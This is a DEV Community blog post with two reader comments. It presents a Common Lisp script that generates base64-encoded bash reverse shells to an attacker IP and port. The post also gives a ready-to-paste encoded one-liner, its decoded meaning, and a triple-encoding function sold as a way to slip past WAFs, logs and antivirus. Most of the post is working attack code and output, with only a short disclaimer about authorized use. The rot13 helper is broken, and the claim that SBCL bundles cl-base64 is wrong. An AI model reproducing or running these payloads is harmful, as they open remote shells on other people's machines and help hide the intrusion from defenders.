DEV Community

Cover image for I’m Building a Common Lisp Payload Generator
rventz
rventz

Posted on

I’m Building a Common Lisp Payload Generator

I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me.

A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers.

So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live).

The payload generator

#!/usr/bin/sbcl --script
;; payload.lisp – because why not write red-team tools in Lisp?

(defparameter *lhost* "192.168.1.42")   ; ← your attacker IP
(defparameter *lport* "443")            ; ← your listener port

;; Classic bash reverse shell – works on 99 % of Linux boxes
(defun bash-reverse-shell ()
  (format nil "bash -i >& /dev/tcp/~a/~a 0>&1" *lhost* *lport*))

;; Tiny helper – SBCL has base64 built-in, no extra packages needed
(defun string-to-base64 (s)
  (cl-base64:string-to-base64-string s))

;; One-layer payload – good enough for most lab environments
(defun generate-payload ()
  (let* ((raw (bash-reverse-shell))
         (b64 (string-to-base64 raw))
         (payload (format nil "echo '~a' | base64 -d | bash" b64)))
    (format t "Payload ready!~%~%~a~%~%" payload)
    payload))

;; Run it
(generate-payload)
Enter fullscreen mode Exit fullscreen mode

Save as payload.lisp, chmod +x payload.lisp, run:

./payload.lisp
Enter fullscreen mode Exit fullscreen mode

Output:

echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNDIvNDQzIDA+JjE=' | base64 -d | bash
Enter fullscreen mode Exit fullscreen mode

Paste that one-liner on any box → instant reverse shell to your nc -lvnp 443.

Quick breakdown for the curious

bash -i *→ interactive bash
*
& /dev/tcp/IP/PORT
→ redirect stdin+stdout to a TCP socket (>Bash built-in magic)
0>&1 → stderr follows stdout (so you get everything)
We base64 it so it survives copy-paste, logs, most WAFs and lazy AVs
SBCL already ships cl-base64, zero dependencies

Want to go full chaos mode? Add layers in 5 seconds

(defun rot13 (s)
  (cl-ppcre:regex-replace-all "(?i)([a-z])" s
    (lambda (match reg)
      (char (+( (char-code (char reg 0)) 13) #.(char-code #\a)) 26))))

(defun multi-layer ()
  (let* ((l1 (string-to-base64 (bash-reverse-shell)))
         (l2 (string-to-base64 (format nil "echo '~a' | base64 -d | bash" l1)))
         (l3 (string-to-base64 (format nil "echo '~a' | base64 -d | bash" l2))))
    (format nil "echo '~a' | base64 -d | bash" l3)))
Enter fullscreen mode Exit fullscreen mode

Now you have triple-encoded payloads that make defenders cry.

Why am I doing this in Lisp instead of Python?

  • Code = data → macros can rewrite the payload generator at compile time

  • REPL-driven development → I can mutate payloads live while testing

  • I’m also stealing Rust’s ownership ideas to build my own Lisp dialect that will be memory-safe by design (future post incoming)

Disclaimer (because I’m not trying to get banned)

Everything here is for authorized pentesting / CTFs / labs only. Don’t be evil. Be chaotic good.

What’s next?

I’m slowly building a whole functional language that feels like Common Lisp but enforces Rust-level safety — specifically for writing secure offensive tools without shooting myself in the foot.
Drop a comment if:

  • You’ve ever used Lisp for red-team stuff (I know you’re out there)
  • You want the triple-encoded version
  • You just came for the parentheses

Let’s break things together (legally).

Top comments (2)

Collapse
 
arodzuro profile image
Yazz

Thank you! Now it makes me want to experiment with lisp! All very digestible and cool

Collapse
 
rventz profile image
rventz

It's good to hear from you. Thank you for your comment.